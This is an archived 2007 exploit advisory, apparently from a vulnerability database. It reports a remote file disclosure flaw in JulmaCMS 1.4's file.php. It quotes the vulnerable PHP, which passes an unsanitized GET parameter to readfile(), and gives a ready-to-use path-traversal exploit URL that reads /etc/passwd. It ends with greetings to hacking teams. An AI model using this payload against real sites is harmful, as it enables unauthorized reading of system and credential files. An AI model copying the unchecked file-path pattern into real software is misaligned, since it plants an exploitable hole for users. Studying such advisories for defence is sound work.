JulmaCMS 1.4 (file.php file) Remote File Disclosure Vulnerability

🗓️ 26 Apr 2007 00:00:00Reported by RootType

JulmaCMS 1.4 Remote File Disclosure via file.ph


                                                #&nbsp;JulmaCMS&nbsp;1.4(file.php&nbsp;file)Remote&nbsp;File&nbsp;Disclosure
#&nbsp;D.Script:&nbsp;http://julmajanne.com/downloads/julma.zip
#&nbsp;Discovered&nbsp;by:&nbsp;GolD_M&nbsp;=&nbsp;[Mahmood_ali]
#&nbsp;Homepage:&nbsp;http://www.Tryag.cc
#&nbsp;V.Code&nbsp;In&nbsp;/file.php:
###################/file.php###########################
#&nbsp;&lt;?php&nbsp;//&nbsp;$Id:&nbsp;file.php,v&nbsp;1.4&nbsp;2004/04/24&nbsp;18:18:22&nbsp;janne&nbsp;Exp&nbsp;$
#
#&nbsp;&nbsp;&nbsp;&nbsp;include(&quot;config.php&quot;);
#&nbsp;&nbsp;&nbsp;&nbsp;include(&quot;lib/mime.php&quot;);
#&nbsp;&nbsp;&nbsp;&nbsp;$file&nbsp;=&nbsp;$_GET['file'];&lt;-------[+]
#
#&nbsp;&nbsp;&nbsp;&nbsp;if($file)&nbsp;{
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$file&nbsp;=&nbsp;$CFG-&gt;dir&nbsp;.&nbsp;$file;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fname&nbsp;=&nbsp;basename($file);
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$mime&nbsp;=&nbsp;mimetype(&quot;mime&quot;,&nbsp;$fname);
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;header(&quot;Content-Type:&nbsp;$mime&quot;);
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;header(&quot;Content-Lenght:&nbsp;&quot;.&nbsp;filesize($file)&nbsp;.&quot;&quot;);
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;header(&quot;Content-Disposition:&nbsp;inline;&nbsp;filename=$fname&quot;);
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;header(&quot;Content-Description:&nbsp;PHP&nbsp;Generated&nbsp;Data&quot;);
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;readfile($file);&nbsp;&lt;-------[+]
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unset($fname,$file,$type);
#&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;header(&quot;Location:&nbsp;$CFG-&gt;web&quot;);
#&nbsp;&nbsp;&nbsp;&nbsp;}
#&nbsp;?&gt;
########################################################
#&nbsp;Exploit:[Path_JulmaCMS]/file.php?file=../../../../../../etc/passwd
#&nbsp;Greetz&nbsp;To:&nbsp;Tryag-Team&nbsp;&amp;&nbsp;4lKaSrGoLd3n-Team&nbsp;&amp;&nbsp;AsbMay's&nbsp;Group&nbsp;&amp;&nbsp;bd0rk

26 Apr 2007 00:00Current

7.1High risk

Vulners AI Score7.1